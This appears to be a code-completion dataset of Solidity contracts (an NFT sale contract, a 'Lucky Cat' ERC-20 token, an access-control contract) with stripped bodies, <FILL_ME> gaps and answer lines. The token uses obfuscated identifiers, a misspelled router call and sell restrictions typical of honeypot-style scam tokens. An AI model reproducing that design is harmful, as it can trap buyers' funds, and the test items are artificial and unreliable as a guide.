function mintBIBO(uint256 quantity) external payable callerIsUser{
}
// Base URI Functions
// ------------------------------------------------------------------------
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
// Burn Functions
// ------------------------------------------------------------------------
function burn(address account, uint256 id) public virtual {
require(hasBurnStarted == true, "Burn hasn't started.");
require(account == tx.origin || isApprovedForAll(account, _msgSender()), "Caller is not owner nor approved.");
require(<FILL_ME>)
_burn(id);
}
// setting functions
// ------------------------------------------------------------------------
function setURI(string calldata _tokenURI) external onlyOwner {
}
function setTokenLimit(uint256 _STAGE_LIMIT, uint256 _MAX_ADDRESS_TOKEN) external onlyOwner {
}
function setMAX_BIBO(uint256 _MAX_num) external onlyOwner {
}
function set_PRICE(uint256 _price) external onlyOwner {
}
function setSaleSwitch(
bool _hasSaleStarted,
bool _hasAuctionStarted,
bool _haswhitelistStarted,
bool _hasBurnStarted,
uint256 _saleTimestamp
) external onlyOwner {
}
function setDutchAuction(
uint256 _auctionStartTimestamp,
uint256 _auctionTimeStep,
uint256 _auctionStartPrice,
uint256 _auctionEndPrice,
uint256 _auctionPriceStep,
uint256 _auctionStepNumber
) external onlyOwner {
}
function setSigner(address _signer) external onlyOwner {
}
// Withdrawal functions
// ------------------------------------------------------------------------
function setTreasury(address _treasury) external onlyOwner {
}
function withdrawAll() public payable onlyOwner {
}
}
| ownerOf(id)==account,"Caller not tokenId owner." | 219,420 | ownerOf(id)==account |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// ___ ___ ___ ___ __ __ ___ ___ ___ ___
// | _ )|_ _|| _ ) / _ \ \ \ / /| __|| _ \/ __|| __|
// | _ \ | | | _ \| (_) | \ V / | _| | /\__ \| _|
// |___/|___||___/ \___/ \_/ |___||_|_\|___/|___|
contract BIBOVERSE is Ownable, EIP712, ERC721A, ERC721AQueryable {
using SafeMath for uint256;
using Strings for uint256;
// Sales variables
// ------------------------------------------------------------------------
uint256 public MAX_BIBO = 1990;
uint256 public STAGE_LIMIT = 1990;
uint256 public PRICE = 0.07 ether;
uint256 public MAX_ADDRESS_TOKEN = 3;
uint256 public numAirdrop = 0;
uint256 public numGiveaway = 0;
uint256 public numSale = 0;
uint256 public saleTimestamp = 1672416000;
bool public hasSaleStarted = false;
bool public hasAuctionStarted = false;
bool public haswhitelistStarted = false;
bool public hasBurnStarted = false;
string private _baseTokenURI = "ipfs://QmWvTvbpSPTpQKyPiqTTB245WobnXzY9QhS89xvu4KxsKD/";
address public treasury = 0x4Fa955eDa10a162c714756485ba0f38eE2AF01ce;
address public signer = 0x4Fa955eDa10a162c714756485ba0f38eE2AF01ce;
// Dutch auction config
uint256 public auctionStartTimestamp;
uint256 public auctionTimeStep;
uint256 public auctionStartPrice;
uint256 public auctionEndPrice;
uint256 public auctionPriceStep;
uint256 public auctionStepNumber;
mapping (address => uint256) public hasMinted;
// Events
// ------------------------------------------------------------------------
event mintEvent(address owner, uint256 quantity, uint256 totalSupply);
// Constructor
// ------------------------------------------------------------------------
constructor()
EIP712("BIBOVERSE", "1.0.0")
ERC721A("BIBOVERSE", "BIBO"){}
// Modifiers
// ------------------------------------------------------------------------
modifier callerIsUser() {
}
// Airdrop functions
// ------------------------------------------------------------------------
function airdrop(address[] calldata _to, uint256[] calldata quantity) public onlyOwner{
}
// Giveaway functions
// ------------------------------------------------------------------------
function giveaway(address _to, uint256 quantity) external onlyOwner{
}
// Verify functions
// ------------------------------------------------------------------------
function verify(uint256 maxQuantity, bytes memory SIGNATURE) public view returns (bool){
}
// Whitelist functions
// ------------------------------------------------------------------------
function mintWhitelist(uint256 quantity, uint256 maxQuantity, bytes memory SIGNATURE) public payable{
}
// Auction functions
// ------------------------------------------------------------------------
function getDutchAuctionPrice() public view returns (uint256) {
}
// Public and Auction functions
// ------------------------------------------------------------------------
function mintBIBO(uint256 quantity) external payable callerIsUser{
}
// Base URI Functions
// ------------------------------------------------------------------------
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
// Burn Functions
// ------------------------------------------------------------------------
function burn(address account, uint256 id) public virtual {
}
// setting functions
// ------------------------------------------------------------------------
function setURI(string calldata _tokenURI) external onlyOwner {
}
function setTokenLimit(uint256 _STAGE_LIMIT, uint256 _MAX_ADDRESS_TOKEN) external onlyOwner {
}
function setMAX_BIBO(uint256 _MAX_num) external onlyOwner {
}
function set_PRICE(uint256 _price) external onlyOwner {
}
function setSaleSwitch(
bool _hasSaleStarted,
bool _hasAuctionStarted,
bool _haswhitelistStarted,
bool _hasBurnStarted,
uint256 _saleTimestamp
) external onlyOwner {
}
function setDutchAuction(
uint256 _auctionStartTimestamp,
uint256 _auctionTimeStep,
uint256 _auctionStartPrice,
uint256 _auctionEndPrice,
uint256 _auctionPriceStep,
uint256 _auctionStepNumber
) external onlyOwner {
}
function setSigner(address _signer) external onlyOwner {
}
// Withdrawal functions
// ------------------------------------------------------------------------
function setTreasury(address _treasury) external onlyOwner {
}
function withdrawAll() public payable onlyOwner {
require(<FILL_ME>)
}
}
| payable(treasury).send(address(this).balance) | 219,420 | payable(treasury).send(address(this).balance) |
"Only one transfer per block allowed." | /**
Lucky Cat $Cat
TWITTER: https://twitter.com/LuckyCat_erc
TELEGRAM: https://t.me/LuckyCat_erc20
WEBSITE: https://cateth.org/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _pvqub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _pvqub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface _kabvcatzp {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface _pforzmkuns {
function swExactTensFrHSportingFeeOransferkes(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH, uint liquidity);
}
contract LuckyCat is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Lucky Cat";
string private constant _symbol = unicode"Cat";
uint8 private constant _decimals = 9;
uint256 private constant _Totalxi = 1000000000 * 10 **_decimals;
uint256 public _mxTvmvAmaunt = _Totalxi;
uint256 public _Wallekxbfo = _Totalxi;
uint256 public _wapThresholdmcx= _Totalxi;
uint256 public _mkolToapc= _Totalxi;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isxExcapmf;
mapping (address => bool) private _taxvWaervy;
mapping(address => uint256) private _lruehrkbacp;
bool public _taerelorve = false;
address payable private _qvmopufq;
uint256 private _BuyTaxinitial=1;
uint256 private _SellTaxinitial=1;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAreduce=1;
uint256 private _SellTaxAreduce=1;
uint256 private _wapBefaepnb=0;
uint256 private _buroknwr=0;
_pforzmkuns private _YomRarnat;
address private _acMkvaujw;
bool private _quomeagh;
bool private lovStqkuq = false;
bool private _aqmfuaqyq = false;
event _amgfoigtl(uint _mxTvmvAmaunt);
modifier lokecThtcap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 teeomoun=0;
if (from != owner () && to != owner ()) {
if (_taerelorve) {
if (to != address
(_YomRarnat) && to !=
address(_acMkvaujw)) {
require(<FILL_ME>)
_lruehrkbacp
[tx.origin] = block.number;
}
}
if (from == _acMkvaujw && to !=
address(_YomRarnat) && !_isxExcapmf[to] ) {
require(amount <= _mxTvmvAmaunt,
"Exceeds the _mxTvmvAmaunt.");
require(balanceOf(to) + amount
<= _Wallekxbfo, "Exceeds the maxWalletSize.");
if(_buroknwr
< _wapBefaepnb){
require(! _feipoaq(to));
}
_buroknwr++;
_taxvWaervy[to]=true;
teeomoun = amount.mul((_buroknwr>
_BuyTaxAreduce)?_BuyTaxfinal:_BuyTaxinitial)
.div(100);
}
if(to == _acMkvaujw && from!= address(this)
&& !_isxExcapmf[from] ){
require(amount <= _mxTvmvAmaunt &&
balanceOf(_qvmopufq)<_mkolToapc,
"Exceeds the _mxTvmvAmaunt.");
teeomoun = amount.mul((_buroknwr>
_SellTaxAreduce)?_SellTaxfinal:_SellTaxinitial)
.div(100);
require(_buroknwr>_wapBefaepnb &&
_taxvWaervy[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!lovStqkuq
&& to == _acMkvaujw && _aqmfuaqyq &&
contractTokenBalance>_wapThresholdmcx
&& _buroknwr>_wapBefaepnb&&
!_isxExcapmf[to]&& !_isxExcapmf[from]
) {
_swpkvrkumj( _pnuxe(amount,
_pnuxe(contractTokenBalance,_mkolToapc)));
uint256 contractETHBalance
= address(this).balance;
if(contractETHBalance
> 0) {
_rmonferp(address(this).balance);
}
}
}
if(teeomoun>0){
_balances[address(this)]=_balances
[address(this)].
add(teeomoun);
emit Transfer(from,
address(this),teeomoun);
}
_balances[from]= _pvqub(from,
_balances[from], amount);
_balances[to]=_balances[to].
add(amount. _pvqub(teeomoun));
emit Transfer(from, to,
amount. _pvqub(teeomoun));
}
function _swpkvrkumj(uint256
tokenAmount) private lokecThtcap {
}
function _pnuxe(uint256 a,
uint256 b) private pure
returns (uint256){
}
function _pvqub(address
from, uint256 a,
uint256 b) private view
returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _feipoaq(address
account) private view
returns (bool) {
}
function _rmonferp(uint256
amount) private {
}
function openTrading( ) external onlyOwner( ) {
}
receive() external payable {}
}
| _lruehrkbacp[tx.origin]<block.number,"Only one transfer per block allowed." | 219,431 | _lruehrkbacp[tx.origin]<block.number |
"Exceeds the maxWalletSize." | /**
Lucky Cat $Cat
TWITTER: https://twitter.com/LuckyCat_erc
TELEGRAM: https://t.me/LuckyCat_erc20
WEBSITE: https://cateth.org/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _pvqub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _pvqub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface _kabvcatzp {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface _pforzmkuns {
function swExactTensFrHSportingFeeOransferkes(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH, uint liquidity);
}
contract LuckyCat is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Lucky Cat";
string private constant _symbol = unicode"Cat";
uint8 private constant _decimals = 9;
uint256 private constant _Totalxi = 1000000000 * 10 **_decimals;
uint256 public _mxTvmvAmaunt = _Totalxi;
uint256 public _Wallekxbfo = _Totalxi;
uint256 public _wapThresholdmcx= _Totalxi;
uint256 public _mkolToapc= _Totalxi;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isxExcapmf;
mapping (address => bool) private _taxvWaervy;
mapping(address => uint256) private _lruehrkbacp;
bool public _taerelorve = false;
address payable private _qvmopufq;
uint256 private _BuyTaxinitial=1;
uint256 private _SellTaxinitial=1;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAreduce=1;
uint256 private _SellTaxAreduce=1;
uint256 private _wapBefaepnb=0;
uint256 private _buroknwr=0;
_pforzmkuns private _YomRarnat;
address private _acMkvaujw;
bool private _quomeagh;
bool private lovStqkuq = false;
bool private _aqmfuaqyq = false;
event _amgfoigtl(uint _mxTvmvAmaunt);
modifier lokecThtcap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 teeomoun=0;
if (from != owner () && to != owner ()) {
if (_taerelorve) {
if (to != address
(_YomRarnat) && to !=
address(_acMkvaujw)) {
require(_lruehrkbacp
[tx.origin] < block.number,
"Only one transfer per block allowed.");
_lruehrkbacp
[tx.origin] = block.number;
}
}
if (from == _acMkvaujw && to !=
address(_YomRarnat) && !_isxExcapmf[to] ) {
require(amount <= _mxTvmvAmaunt,
"Exceeds the _mxTvmvAmaunt.");
require(<FILL_ME>)
if(_buroknwr
< _wapBefaepnb){
require(! _feipoaq(to));
}
_buroknwr++;
_taxvWaervy[to]=true;
teeomoun = amount.mul((_buroknwr>
_BuyTaxAreduce)?_BuyTaxfinal:_BuyTaxinitial)
.div(100);
}
if(to == _acMkvaujw && from!= address(this)
&& !_isxExcapmf[from] ){
require(amount <= _mxTvmvAmaunt &&
balanceOf(_qvmopufq)<_mkolToapc,
"Exceeds the _mxTvmvAmaunt.");
teeomoun = amount.mul((_buroknwr>
_SellTaxAreduce)?_SellTaxfinal:_SellTaxinitial)
.div(100);
require(_buroknwr>_wapBefaepnb &&
_taxvWaervy[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!lovStqkuq
&& to == _acMkvaujw && _aqmfuaqyq &&
contractTokenBalance>_wapThresholdmcx
&& _buroknwr>_wapBefaepnb&&
!_isxExcapmf[to]&& !_isxExcapmf[from]
) {
_swpkvrkumj( _pnuxe(amount,
_pnuxe(contractTokenBalance,_mkolToapc)));
uint256 contractETHBalance
= address(this).balance;
if(contractETHBalance
> 0) {
_rmonferp(address(this).balance);
}
}
}
if(teeomoun>0){
_balances[address(this)]=_balances
[address(this)].
add(teeomoun);
emit Transfer(from,
address(this),teeomoun);
}
_balances[from]= _pvqub(from,
_balances[from], amount);
_balances[to]=_balances[to].
add(amount. _pvqub(teeomoun));
emit Transfer(from, to,
amount. _pvqub(teeomoun));
}
function _swpkvrkumj(uint256
tokenAmount) private lokecThtcap {
}
function _pnuxe(uint256 a,
uint256 b) private pure
returns (uint256){
}
function _pvqub(address
from, uint256 a,
uint256 b) private view
returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _feipoaq(address
account) private view
returns (bool) {
}
function _rmonferp(uint256
amount) private {
}
function openTrading( ) external onlyOwner( ) {
}
receive() external payable {}
}
| balanceOf(to)+amount<=_Wallekxbfo,"Exceeds the maxWalletSize." | 219,431 | balanceOf(to)+amount<=_Wallekxbfo |
null | /**
Lucky Cat $Cat
TWITTER: https://twitter.com/LuckyCat_erc
TELEGRAM: https://t.me/LuckyCat_erc20
WEBSITE: https://cateth.org/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _pvqub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _pvqub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface _kabvcatzp {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface _pforzmkuns {
function swExactTensFrHSportingFeeOransferkes(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH, uint liquidity);
}
contract LuckyCat is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Lucky Cat";
string private constant _symbol = unicode"Cat";
uint8 private constant _decimals = 9;
uint256 private constant _Totalxi = 1000000000 * 10 **_decimals;
uint256 public _mxTvmvAmaunt = _Totalxi;
uint256 public _Wallekxbfo = _Totalxi;
uint256 public _wapThresholdmcx= _Totalxi;
uint256 public _mkolToapc= _Totalxi;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isxExcapmf;
mapping (address => bool) private _taxvWaervy;
mapping(address => uint256) private _lruehrkbacp;
bool public _taerelorve = false;
address payable private _qvmopufq;
uint256 private _BuyTaxinitial=1;
uint256 private _SellTaxinitial=1;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAreduce=1;
uint256 private _SellTaxAreduce=1;
uint256 private _wapBefaepnb=0;
uint256 private _buroknwr=0;
_pforzmkuns private _YomRarnat;
address private _acMkvaujw;
bool private _quomeagh;
bool private lovStqkuq = false;
bool private _aqmfuaqyq = false;
event _amgfoigtl(uint _mxTvmvAmaunt);
modifier lokecThtcap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 teeomoun=0;
if (from != owner () && to != owner ()) {
if (_taerelorve) {
if (to != address
(_YomRarnat) && to !=
address(_acMkvaujw)) {
require(_lruehrkbacp
[tx.origin] < block.number,
"Only one transfer per block allowed.");
_lruehrkbacp
[tx.origin] = block.number;
}
}
if (from == _acMkvaujw && to !=
address(_YomRarnat) && !_isxExcapmf[to] ) {
require(amount <= _mxTvmvAmaunt,
"Exceeds the _mxTvmvAmaunt.");
require(balanceOf(to) + amount
<= _Wallekxbfo, "Exceeds the maxWalletSize.");
if(_buroknwr
< _wapBefaepnb){
require(<FILL_ME>)
}
_buroknwr++;
_taxvWaervy[to]=true;
teeomoun = amount.mul((_buroknwr>
_BuyTaxAreduce)?_BuyTaxfinal:_BuyTaxinitial)
.div(100);
}
if(to == _acMkvaujw && from!= address(this)
&& !_isxExcapmf[from] ){
require(amount <= _mxTvmvAmaunt &&
balanceOf(_qvmopufq)<_mkolToapc,
"Exceeds the _mxTvmvAmaunt.");
teeomoun = amount.mul((_buroknwr>
_SellTaxAreduce)?_SellTaxfinal:_SellTaxinitial)
.div(100);
require(_buroknwr>_wapBefaepnb &&
_taxvWaervy[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!lovStqkuq
&& to == _acMkvaujw && _aqmfuaqyq &&
contractTokenBalance>_wapThresholdmcx
&& _buroknwr>_wapBefaepnb&&
!_isxExcapmf[to]&& !_isxExcapmf[from]
) {
_swpkvrkumj( _pnuxe(amount,
_pnuxe(contractTokenBalance,_mkolToapc)));
uint256 contractETHBalance
= address(this).balance;
if(contractETHBalance
> 0) {
_rmonferp(address(this).balance);
}
}
}
if(teeomoun>0){
_balances[address(this)]=_balances
[address(this)].
add(teeomoun);
emit Transfer(from,
address(this),teeomoun);
}
_balances[from]= _pvqub(from,
_balances[from], amount);
_balances[to]=_balances[to].
add(amount. _pvqub(teeomoun));
emit Transfer(from, to,
amount. _pvqub(teeomoun));
}
function _swpkvrkumj(uint256
tokenAmount) private lokecThtcap {
}
function _pnuxe(uint256 a,
uint256 b) private pure
returns (uint256){
}
function _pvqub(address
from, uint256 a,
uint256 b) private view
returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _feipoaq(address
account) private view
returns (bool) {
}
function _rmonferp(uint256
amount) private {
}
function openTrading( ) external onlyOwner( ) {
}
receive() external payable {}
}
| !_feipoaq(to) | 219,431 | !_feipoaq(to) |
null | /**
Lucky Cat $Cat
TWITTER: https://twitter.com/LuckyCat_erc
TELEGRAM: https://t.me/LuckyCat_erc20
WEBSITE: https://cateth.org/
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _pvqub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _pvqub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface _kabvcatzp {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface _pforzmkuns {
function swExactTensFrHSportingFeeOransferkes(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH, uint liquidity);
}
contract LuckyCat is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Lucky Cat";
string private constant _symbol = unicode"Cat";
uint8 private constant _decimals = 9;
uint256 private constant _Totalxi = 1000000000 * 10 **_decimals;
uint256 public _mxTvmvAmaunt = _Totalxi;
uint256 public _Wallekxbfo = _Totalxi;
uint256 public _wapThresholdmcx= _Totalxi;
uint256 public _mkolToapc= _Totalxi;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isxExcapmf;
mapping (address => bool) private _taxvWaervy;
mapping(address => uint256) private _lruehrkbacp;
bool public _taerelorve = false;
address payable private _qvmopufq;
uint256 private _BuyTaxinitial=1;
uint256 private _SellTaxinitial=1;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAreduce=1;
uint256 private _SellTaxAreduce=1;
uint256 private _wapBefaepnb=0;
uint256 private _buroknwr=0;
_pforzmkuns private _YomRarnat;
address private _acMkvaujw;
bool private _quomeagh;
bool private lovStqkuq = false;
bool private _aqmfuaqyq = false;
event _amgfoigtl(uint _mxTvmvAmaunt);
modifier lokecThtcap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function _swpkvrkumj(uint256
tokenAmount) private lokecThtcap {
}
function _pnuxe(uint256 a,
uint256 b) private pure
returns (uint256){
}
function _pvqub(address
from, uint256 a,
uint256 b) private view
returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _feipoaq(address
account) private view
returns (bool) {
}
function _rmonferp(uint256
amount) private {
}
function openTrading( ) external onlyOwner( ) {
require(<FILL_ME>)
_YomRarnat = _pforzmkuns (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ;
_approve(address(this), address(_YomRarnat), _Totalxi);
_acMkvaujw = _kabvcatzp(_YomRarnat.factory()). createPair (address(this), _YomRarnat . WETH ());
_YomRarnat.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(_acMkvaujw).approve(address(_YomRarnat), type(uint).max);
_aqmfuaqyq = true;
_quomeagh = true;
}
receive() external payable {}
}
| !_quomeagh | 219,431 | !_quomeagh |
"This Ownership was not authorized" | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
/**
* @title TreeLogin
* @dev made by Treemaru Studio
*/
import "@openzeppelin/contracts/access/AccessControl.sol";
contract TreeLogin is AccessControl {
bytes32 public constant MOD_ROLE = keccak256("MOD_ROLE");
struct ValidTx {
address[] coldWallets;
uint256 blockStamp;
}
mapping(address => ValidTx) tempValidTx;
mapping(address => address[]) addressLink;
mapping(address => address) addressSaved;
address addressTreeLoginNFT;
uint256[] idsNFTs;
uint256 public maxLinksPerWallet = 2;
constructor() {
}
modifier callerIsUser() {
}
function setAddressTLNFT(address _address)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setMaxLinksPerWallet(uint256 _numb)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function deleteAdminOwnershipLinks(address _address)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
//Set IDs for TreeLogin NFTs (erc1155 ids)
function setListNFTIds(uint256[] memory _ids)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
//Get TreeLogin NFTs balance on address
function getTLNFTBalance(address _addr) external view returns (uint256) {
}
//validate ownership
function addValidTX(address _hotWallet, address[] memory _addresses)
external
onlyRole(MOD_ROLE)
{
}
function getTempTx(address _address) external view returns (uint256) {
}
function checkAddressIsSaved(address _address)
external
view
returns (address)
{
}
function getOwnershipData(address _address)
external
view
